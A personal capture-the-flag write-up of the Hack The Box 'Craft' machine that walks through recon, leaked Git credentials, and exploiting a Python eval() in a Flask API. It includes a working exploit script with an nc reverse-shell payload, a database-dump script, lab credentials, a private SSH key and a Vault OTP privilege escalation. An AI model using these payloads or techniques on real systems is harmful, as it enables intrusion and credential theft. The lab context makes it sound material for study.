Hack The Box - Craft
My first Medium
box! Didn’t think I was capable of doing it so soon haha. I saw that this box was retiring soon so I thought “why not”? Of course, I needed the help of the forums to guide me :P
Configuration
The operating systems that I will be using to tackle this machine is a Kali Linux VM.
What I learnt from other writeups is that it was a good habit to map a domain name to the machine’s IP address so as that it will be easier to remember. This can done by appending a line to /etc/hosts
.
1
$ echo "10.10.10.110 craft.htb" >> /etc/hosts
Reconnaissance
Using nmap
, we are able to determine the open ports and running services on the machine.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ nmap -sV -sT -sC craft.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-04 00:11 EST
Stats: 0:00:12 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 59.20% done; ETC: 00:11 (0:00:08 remaining)
Stats: 0:00:37 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 91.94% done; ETC: 00:12 (0:00:00 remaining)
Nmap scan report for craft.htb (10.10.10.110)
Host is up (0.25s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
| ssh-hostkey:
| 2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
| 256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
|_ 256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
443/tcp open ssl/http nginx 1.15.8
|_http-server-header: nginx/1.15.8
|_http-title: About
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
| Not valid before: 2019-02-06T02:25:47
|_Not valid after: 2020-06-20T02:25:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 49.33 seconds
Enumeration (1)
Not much can be done with the ssh
service as we do not have any credentials on hand so lets come back to it later. As for the https
service, maybe we can find some information on it ?
Nothing much here except for the API
and the git
icon on the top right. Lets first check out the API
.
It was a link to https://api.craft.htb/api/
, hence we had to add api.craft.htb
to our /etc/hosts
for the page to be resolved properly.
1
2
3
$ cat /etc/hosts
...
10.10.10.110 craft.htb api.craft.htb
After playing around with some of the different APIs, what caught my attention was /auth/login
. Upon clicking on Execute
, I was prompted for credentials.
Since I did not have any credentials, I decided to put this on hold for now. Lets move on the git
icon. It was a link to https://gogs.craft.htb
, hence we need to modify our /etc/hosts
again.
1
2
3
$ cat /etc/hosts
...
10.10.10.110 craft.htb api.craft.htb gogs.craft.htb
So this website is like a private github of some sort? By clicking on Explore
, we are able to list all the public repositories, users and organisations on the website.
Oh we found something! There is a repository that might be related to https://api.craft.htb/api
!
This repository seems to contain the source code. Lets try looking around.
There was an issue posted which contained the API token, but sadly was expired. In the commits history, I found some credentials!
Looks like Dinesh accidentally commited his credentials and tried to cover it up haha. To check if the credentials are still valid, we returned to https://api.craft.htb/api/
and key them into the prompt for the /auth/login
feature.
We managed to get a valid API token! Not much can be done now so I decided to look at the source code for any vulnerabilites.
Exploitation (1)
On https://gogs.craft.htb/Craft/craft-api/src/master/craft_api/api/brew/endpoints/brew.py
, there was a certain section that caught my eye.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@ns.route('/')
class BrewCollection(Resource):
...
@auth.auth_required
@api.expect(beer_entry)
def post(self):
"""
Creates a new brew entry.
"""
# make sure the ABV value is sane.
if eval('%s > 1' % request.json['abv']):
return "ABV must be a decimal value less than 1.0", 400
else:
create_brew(request.json)
return None, 201
eval
was being called with input from the abv
field in the sent JSON for the /brew/
route. This means that whatever python
expression we enter in the abv
field, it will be executed. Hm…
I decided to search for how to achieve reverse shell from the eval
function and I found this post on StackOverflow.
When "__import__('os').system('nc 10.10.XX.XX -e /bin/sh')"
is inputted into eval
, it will cause the box to connect back to us. I used the below python
script to assist in the sending of the payload.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
authtoken = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False).json()["token"]
exploit = {
'abv':"__import__(\'os\').system(\'nc 10.10.XX.XX 1337 -e /bin/sh\')",
"brewer": "string",
"name": "string",
"style": "string",
}
headers = {'X-Craft-Api-Token': authtoken}
print(requests.post('https://api.craft.htb/api/brew/', json=exploit, headers=headers, verify=False).content)
With the script ready, we start our listener:
1
2
$ nc -lvnp 1337
listening on [any] 1337 ...
And run our exploit script. Back on our listener, we catch the connection. Wait, we are already root?
1
2
3
4
listening on [any] 1337 ...
connect to [10.10.XX.XX] from (UNKNOWN) [10.10.10.110] 46345
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
There was no root.txt
at /root
, so what is going on?
Enumeration (2)
Lets try running LinEnum
to get some insights.
1
2
3
4
5
$ mkdir httpserver
$ cd httpserver
$ cp ~/LinEnum.sh .
$ python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
wget http://10.10.XX.XX/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh
...
[+] Looks like we're in a Docker container:
10:cpuset:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
9:freezer:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
8:memory:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
7:devices:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
6:pids:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
5:blkio:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
4:perf_event:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
3:net_cls,net_prio:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
2:cpu,cpuacct:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
1:name=systemd:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
-rwxr-xr-x 1 root root 0 Feb 10 2019 /.dockerenv
Ahh I see, we are in a Docker container. We might need to escape from it if we want to get our flags :P
Looking back at the repository on https://gogs.craft.htb
, there was a .gitignore
.
1
2
*.pyc
settings.py
The settings.py
seemed interesting. It was located at /opt/app/craft_api
and it contained a lot of juicy information.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Flask settings
FLASK_SERVER_NAME = 'api.craft.htb'
FLASK_DEBUG = False # Do not use debug mode in production
# Flask-Restplus settings
RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'
RESTPLUS_VALIDATE = True
RESTPLUS_MASK_SWAGGER = False
RESTPLUS_ERROR_404_HELP = False
CRAFT_API_SECRET = 'hz66OCkDtv8G6D'
# database
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'
SQLALCHEMY_TRACK_MODIFICATIONS = False
Nice we got the credentials for a mysql
database service running on the box. According to the model schema found at https://gogs.craft.htb/Craft/craft-api/src/master/craft_api/database/models.py
, there is a User
table containing usernames and passwords.
We can modify this database testing script at https://gogs.craft.htb/Craft/craft-api/src/master/dbtest.py
to dump out the table.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python
import pymysql
from craft_api import settings
# test connection to mysql database
connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)
try:
with connection.cursor() as cursor:
sql = "SELECT `id`, `username`, `password` FROM `user`"
cursor.execute(sql)
result = cursor.fetchall()
for creds in result:
print(creds)
finally:
connection.close()
Running the script gave us more credentials!
1
2
3
4
python dbtest_new.py
{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}
{'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}
{'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}
Lets try logging in to https://gogs.craft.htb
using these credentials.
Only dinesh
’s and gilfoyle
’s credentials worked. However, in gilfoyle
’s homepage I noticed another repository but was private.
Looking through the repository, I found a ssh
key pair at https://gogs.craft.htb/gilfoyle/craft-infra/src/master/.ssh/id_rsa
user.txt
I downloaded the id_rsa
, which is the private key.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABDD9Lalqe
qF/F3X76qfIGkIAAAAEAAAAAEAAAEXAAAAB3NzaC1yc2EAAAADAQABAAABAQDSkCF7NV2Z
F6z8bm8RaFegvW2v58stknmJK9oS54ZdUzH2jgD0bYauVqZ5DiURFxIwOcbVK+jB39uqrS
zU0aDPlyNnUuUZh1Xdd6rcTDE3VU16roO918VJCN+tIEf33pu2VtShZXDrhGxpptcH/tfS
RgV86HoLpQ0sojfGyIn+4sCg2EEXYng2JYxD+C1o4jnBbpiedGuqeDSmpunWA82vwWX4xx
lLNZ/ZNgCQTlvPMgFbxCAdCTyHzyE7KI+0Zj7qFUeRhEgUN7RMmb3JKEnaqptW4tqNYmVw
pmMxHTQYXn5RN49YJQlaFOZtkEndaSeLz2dEA96EpS5OJl0jzUThAAAD0JwMkipfNFbsLQ
B4TyyZ/M/uERDtndIOKO+nTxR1+eQkudpQ/ZVTBgDJb/z3M2uLomCEmnfylc6fGURidrZi
4u+fwUG0Sbp9CWa8fdvU1foSkwPx3oP5YzS4S+m/w8GPCfNQcyCaKMHZVfVsys9+mLJMAq
Rz5HY6owSmyB7BJrRq0h1pywue64taF/FP4sThxknJuAE+8BXDaEgjEZ+5RA5Cp4fLobyZ
3MtOdhGiPxFvnMoWwJLtqmu4hbNvnI0c4m9fcmCO8XJXFYz3o21Jt+FbNtjfnrIwlOLN6K
Uu/17IL1vTlnXpRzPHieS5eEPWFPJmGDQ7eP+gs/PiRofbPPDWhSSLt8BWQ0dzS8jKhGmV
ePeugsx/vjYPt9KVNAN0XQEA4tF8yoijS7M8HAR97UQHX/qjbna2hKiQBgfCCy5GnTSnBU
GfmVxnsgZAyPhWmJJe3pAIy+OCNwQDFo0vQ8kET1I0Q8DNyxEcwi0N2F5FAE0gmUdsO+J5
0CxC7XoOzvtIMRibis/t/jxsck4wLumYkW7Hbzt1W0VHQA2fnI6t7HGeJ2LkQUce/MiY2F
5TA8NFxd+RM2SotncL5mt2DNoB1eQYCYqb+fzD4mPPUEhsqYUzIl8r8XXdc5bpz2wtwPTE
cVARG063kQlbEPaJnUPl8UG2oX9LCLU9ZgaoHVP7k6lmvK2Y9wwRwgRrCrfLREG56OrXS5
elqzID2oz1oP1f+PJxeberaXsDGqAPYtPo4RHS0QAa7oybk6Y/ZcGih0ChrESAex7wRVnf
CuSlT+bniz2Q8YVoWkPKnRHkQmPOVNYqToxIRejM7o3/y9Av91CwLsZu2XAqElTpY4TtZa
hRDQnwuWSyl64tJTTxiycSzFdD7puSUK48FlwNOmzF/eROaSSh5oE4REnFdhZcE4TLpZTB
a7RfsBrGxpp++Gq48o6meLtKsJQQeZlkLdXwj2gOfPtqG2M4gWNzQ4u2awRP5t9AhGJbNg
MIxQ0KLO+nvwAzgxFPSFVYBGcWRR3oH6ZSf+iIzPR4lQw9OsKMLKQilpxC6nSVUPoopU0W
Uhn1zhbr+5w5eWcGXfna3QQe3zEHuF3LA5s0W+Ql3nLDpg0oNxnK7nDj2I6T7/qCzYTZnS
Z3a9/84eLlb+EeQ9tfRhMCfypM7f7fyzH7FpF2ztY+j/1mjCbrWiax1iXjCkyhJuaX5BRW
I2mtcTYb1RbYd9dDe8eE1X+C/7SLRub3qdqt1B0AgyVG/jPZYf/spUKlu91HFktKxTCmHz
6YvpJhnN2SfJC/QftzqZK2MndJrmQ=
-----END OPENSSH PRIVATE KEY-----
I attempted to ssh
to the box. The passphrase was ZEU3N8WNM2rh4T
, which was gilfoyle
’s password.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ chmod 600 id_rsa
$ ssh -i id_rsa gilfoyle@craft.htb
Enter passphrase for key 'id_rsa':
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Jan 4 12:04:33 2020 from 10.10.XX.XX
gilfoyle@craft:~$ cat user.txt
bbf4XXXXXXXXXXXXXXXXXXXXXXXXXXXX
Enumeration (3)
In gilfoyle
’s private repository, there was a folder called vault
. Thinking it was a name for a service, I went to search online and found this.
1
A tool for secrets management, encryption as a service, and privileged access management.
In the folder, I found a script at https://gogs.craft.htb/gilfoyle/craft-infra/src/master/vault/secrets.sh
1
2
3
4
5
6
7
8
9
10
#!/bin/bash
# set up vault secrets backend
vault secrets enable ssh
vault write ssh/roles/root_otp \
key_type=otp \
default_user=root \
cidr_list=0.0.0.0/0
Hmm… Seem like vault
is being used to store ssh
keys or something? Time to look at the documentation.
root.txt
The commands looked pretty similar. Following the Automate it
section, all we have to do is create a new OTP and ssh
into the box.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
vault ssh -role root_otp -mode otp root@127.0.0.1
Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,
Vault can automatically perform this step for you.
OTP for the session is: f80f58e4-6ec7-dcdf-b491-f2ee66a89260
. * .. . * *
* * @()Ooc()* o .
(Q@*0CG*O() ___
|\_________/|/ _ \
| | | | | / | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | \_| |
| | | | |\___/
|\_|__|__|_/|
\_________/
Password:
The password is simply just the OTP generated for the session, which is f80f58e4-6ec7-dcdf-b491-f2ee66a89260
.
1
2
3
4
5
6
7
8
9
10
11
12
Password:
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 27 04:53:14 2019
root@craft:~# cat root.txt
831dXXXXXXXXXXXXXXXXXXXXXXXXXXXX